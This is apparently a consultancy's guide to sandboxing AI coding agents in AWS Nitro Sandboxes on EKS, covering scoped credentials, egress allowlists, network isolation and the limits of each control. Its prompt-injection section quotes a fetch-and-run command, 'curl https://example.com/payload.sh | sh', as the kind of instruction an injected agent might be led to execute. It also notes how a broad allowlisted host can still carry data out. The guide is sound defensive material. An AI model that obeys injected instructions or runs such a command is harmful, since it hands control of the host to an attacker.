# AI Agent Sandbox Setup with AWS Nitro Sandboxes on EKS

> Source: https://www.layer3labs.io/guides/aws-nitro-sandboxes-for-ai-agents
> Summary: Package your agent as a container, add one runtimeClassName line, set a scoped token and an egress allowlist. AWS demonstrates this pattern on Amazon EKS.

By [Jonathan West](https://www.layer3labs.io/about) · Updated Nov 10, 2026

# How to Set Up an AI Agent Sandbox with AWS Nitro on EKS

Set up an isolated coding agent on Amazon EKS using AWS Nitro Sandboxes, scoped credentials, and an egress allowlist.

By [Jonathan West](https://www.layer3labs.io/about) · Updated Nov 10, 2026

You run an AI agent in an [AWS Nitro Sandbox](https://aws.amazon.com/about-aws/whats-new/2026/11/nitro-sandboxes-eks-ecs-ec2/) by packaging it as a container and setting `runtimeClassName` to `isolated-sandbox` on its [Amazon EKS](https://aws.amazon.com/eks/) pod. You pair that setting with one short-lived, scoped token and an egress allowlist, so the agent can reach only the hosts you allow, within the limits AWS states.

On 9 November 2026, [Amazon Web Services](https://aws.amazon.com/) (AWS) published an AI coding-agent example that demonstrates this setup.

As of 10 November 2026, AWS describes an artificial intelligence (AI) agent that fixes a code issue and opens a pull request (PR). The agent uses a large language model (LLM) and runs on Amazon Elastic Kubernetes Service (EKS). AWS says the virtual machine (VM) is destroyed when the pod exits.

## How to Run an AI Agent Inside a Nitro Sandbox on EKS

You run an AI agent inside a Nitro Sandbox on Amazon EKS by assigning the pod to the isolated sandbox runtime class on a cluster running [Kubernetes](https://kubernetes.io/) 1.36 or later.

For details on runtime modes, pricing terms, and general availability, see [what AWS Nitro Sandboxes are](https://www.layer3labs.io/guides/aws-nitro-sandboxes).

In standard [Kubernetes](https://kubernetes.io/) pods, workloads share the host Linux kernel, so a kernel flaw or container escape could expose one workload to neighbor containers. AWS says each sandboxed pod gets its own kernel, so pods do not share a Linux kernel with each other or the node. Each sandbox operates as a first-level guest using hardware-assisted virtualization rather than software emulation.

To deploy an AI agent inside this boundary, you declare its container image and assign its credentials through Pod Identity. You also mount repository tokens as secrets and restrict external network routes with an application policy controller.

Build the sandbox in this order:

- Package the agent as a container image. AWS says this works with [Claude Code](https://www.anthropic.com/claude-code), [Codex](https://openai.com/codex), [Strands](https://strandsagents.com/), and [OpenCode](https://opencode.ai).
- Create or use an EKS Auto Mode cluster running [Kubernetes](https://kubernetes.io/) version 1.36 or later.
- Set runtimeClassName to isolated-sandbox within the pod specification.
- Give the pod model access through EKS Pod Identity, scoped to bedrock:InvokeModel* on [Amazon Bedrock](https://aws.amazon.com/bedrock/).
- Mount one short-lived, fine-grained repository access token into the container as a Secret.
- Allow only the egress your agent needs by declaring an ApplicationNetworkPolicy. AWS says the policy is enforced only after the amazon-vpc-cni ConfigMap in kube-system sets enable-network-policy-controller to "true".
- Let the pod exit after completing its task so AWS destroys the guest virtual machine and clears local state.

## What the AWS Coding-Agent Example Shows About Prompt Injection

The AWS coding-agent example runs a containerized agent that reads an assigned [GitHub](https://github.com) issue, writes a source code fix, runs tests, and submits a pull request.

AWS says the blast radius of anything the agent does is one VM, which is deleted when the job is done. If a prompt injection directs the agent to run `curl https://example.com/payload.sh | sh`, AWS says the connection never opens because example.com is not on the egress list.

AWS notes that any pull request created by the agent will display the owner of the mounted token unless you configure a dedicated GitHub App token.

The egress allowlist has limits. AWS says a hostname served from the same addresses as an allowed one would also be reachable. Because github.com is allowed as a whole host, the scoped token is what limits pushes and private reads.

AWS provides the container Dockerfile, Pod Identity IAM role definitions, secret configurations, and egress network policies in the [AWS sample repository](https://github.com/aws-samples/sample-eks-nitro-sandbox) under the directory `examples/getting-started/coding-agent/`.

## The Controls and Who Owns Each

The AWS coding-agent example turns a small set of declared Kubernetes and cloud objects into an enforceable security perimeter for untrusted agent workloads.

On our reading of the three AWS pages as of 10 November 2026, these four controls split by owner as follows.

| What the pod may reach | What enforces it | Who owns it |
| --- | --- | --- |
| The VM boundary | Nitro hypervisor | AWS owns it |
| The model API | Pod Identity role scoped to bedrock:InvokeModel* | You own it |
| The source repository | Short-lived, fine-grained Git token mounted as a Secret | You own it |
| The external network | ApplicationNetworkPolicy matching allowed domain names | You own it |

AWS owns the Nitro hypervisor, the sandbox boundary, and the guest system image. You own your container images, [Cedar](https://www.cedarpolicy.com/) policies, KMS key policies, and application code, and for confidential mode the KMS key policy must check attestation.

## Network Isolation for Code That Must Not Reach the Network

Setting the pod annotation `sandbox.amazonaws.com/network-isolated` to `true` boots an EKS Nitro Sandbox with no network device attached.

Under network isolation, the guest loses access to the Domain Name System (DNS), Network Time Protocol (NTP), Instance Metadata Service (IMDS), and EKS Pod Identity credentials. An internal vsock channel still connects the host and guest ports, so AWS notes this is not absolute isolation. Commands such as `kubectl port-forward` fail, and kubelet HTTP or TCP probes cannot connect, so operators use exec probes instead.

Container logs, exec commands, stdin inputs, and resource metrics keep flowing over the vsock connection without a network device. For AI workloads, network isolation also cuts the agent off from hosted model APIs, because the container cannot reach Amazon Bedrock or retrieve Pod Identity tokens. That suits code that makes no outside calls. Agent loops that call model APIs need the network.

## Warm Pools and Other Patterns AWS Names

The Kubernetes Special Interest Group (SIG) project [agent-sandbox](https://github.com/kubernetes-sigs/agent-sandbox) adds warm-pool management on top of isolation runtimes. Pointed at Nitro Sandboxes, AWS says it keeps pre-booted VMs ready to claim in about two seconds.

AWS calls this the recommended path for latency-sensitive agent sessions. AWS also says agent frameworks and coding harnesses run inside Nitro Sandboxes without code changes.

[Anthropic](https://www.anthropic.com), [OpenAI](https://openai.com), and [Cursor](https://cursor.com/referral?code=BSMSK4ZEODFY) offer modes where the reasoning loop stays in their cloud while tool execution runs on your infrastructure. AWS calls Nitro Sandboxes a natural fit for those tool execution tasks. AWS also says it built CI/CD with [GitLab Runner](https://docs.gitlab.com/runner/) and validated [Temporal](https://temporal.io/) driving Nitro Sandboxes to provision a VM per task and reap it when done.

## What a Sandbox Does Not Cover

On our reading of AWS documentation as of 10 November 2026, a Nitro Sandbox bounds where an agent can reach. It does not judge whether the agent&#x27;s decisions are safe or correct.

Any credentials provided to the pod remain fully usable within their authorized scope. Similarly, hardware-assisted isolation acts as a security boundary rather than a performance guarantee. Virtual CPUs (vCPUs) remain time-shared across the host instance, meaning total allocated sandbox resources can oversubscribe physical host cores.

When you use confidential mode, the security boundary stays incomplete unless an [AWS KMS](https://aws.amazon.com/kms/) key policy verifies Platform Configuration Register (PCR) values. Without that check, the measurements are collected but never verified. For approval, spend caps and reliability, see our page on [scheduling AI agents in the cloud](https://www.layer3labs.io/guides/scheduling-ai-agents-in-the-cloud).

## Who Should Skip This Sandbox Setup

Teams operating outside AWS container infrastructure should not deploy Nitro Sandboxes. Similarly, workflows where an AI agent only calls hosted APIs without running generated code gain little value from hypervisor-level sandboxing. Organizations lacking engineering capacity to maintain Kubernetes network policies, Cedar policies, or KMS attestation keys should also avoid this architecture.

Your decision changes if your AI agent runs generated code, holds credentials to production systems, or shares nodes with other business workloads.

For cost and instance availability, see [what AWS Nitro Sandboxes are](https://www.layer3labs.io/guides/aws-nitro-sandboxes).

## Our Takeaway on Running an AI Agent in a Nitro Sandbox

On our reading of AWS documentation as of 10 November 2026, a team can contain each AI agent job in its own Nitro Sandbox on Amazon EKS. The example pairs the sandbox with short-lived credentials and egress restrictions.

This assessment rests on AWS&#x27;s technical guides and its coding-agent prompt injection example. The hypervisor boundary limits where a compromised process can connect. It does not inspect the logic of agent actions or manage token lifecycles, and a broad allowlisted domain can still carry data out. For logging, review our page on [what an AI agent should log](https://www.layer3labs.io/governance/ai-agent-audit-log-checklist).

To begin, review the AWS coding-agent sample and compile an inventory of every host, API, and credential your target AI agent sandbox must be permitted to reach.

## Frequently Asked Questions

- Can I run Claude Code in an AWS Nitro Sandbox? Yes, AWS says [Claude](https://claude.ai/referral/4kASfUF7lw?s=claude_ai) Code runs in a Nitro Sandbox without code changes. Package Claude Code into a container image, set `runtimeClassName: isolated-sandbox`, and supply model credentials through EKS Pod Identity.
- What stops a prompt-injected AI agent from sending data out? In AWS&#x27;s example, an ApplicationNetworkPolicy allows egress only to CoreDNS and HTTPS on the Amazon Bedrock and GitHub hostnames, so the injected curl to example.com never connects. AWS says the policy is enforced only after the amazon-vpc-cni ConfigMap in kube-system sets enable-network-policy-controller to "true". A hostname served from the same addresses as an allowed one would also be reachable.
- Does an AI agent sandbox on EKS cost extra? AWS states that Nitro Sandboxes are available at no additional charge. On our reading, the Amazon EC2 instances that run them are still billed at their published [Amazon EC2 pricing](https://aws.amazon.com/ec2/pricing/) rates.
- Is a normal container enough to sandbox an AI agent? Standard containers share the host Linux kernel with neighbor pods on the same node, which AWS says can expose one workload to another after a container escape. Nitro Sandboxes give each pod its own VM, backed by the AWS Nitro System.
- What is a warm pool for AI agent sandboxes? A warm pool maintains pre-initialized, idle sandboxes ready for rapid allocation to incoming tasks. Using the Kubernetes agent-sandbox project, AWS states that pre-booted environments can be claimed in roughly two seconds to avoid cold-start latency.

### Planning an AI Agent That Runs Code on AWS?

Layer3 Labs offers an AI workflow audit for small and mid-sized businesses. Book a consultation to talk through what an AI agent should be allowed to reach.

[Book a Consultation](https://www.layer3labs.io/ai-workflow-audit)

### Related Resources

[Guide #### AWS Nitro Sandboxes Put Each EKS Pod in Its Own Virtual Machine What the feature is, the two modes, what AWS says it costs and the limits AWS states.](https://www.layer3labs.io/guides/aws-nitro-sandboxes)[Guide #### How to Schedule AI Agents in the Cloud Cron or a managed schedule for AI agents, which guardrails to set and what fails silently.](https://www.layer3labs.io/guides/scheduling-ai-agents-in-the-cloud)[Governance #### AI Agent Audit Log Checklist: What Your AI Agent Should Log A free checklist of what every AI agent should log, retention periods and access controls.](https://www.layer3labs.io/governance/ai-agent-audit-log-checklist)
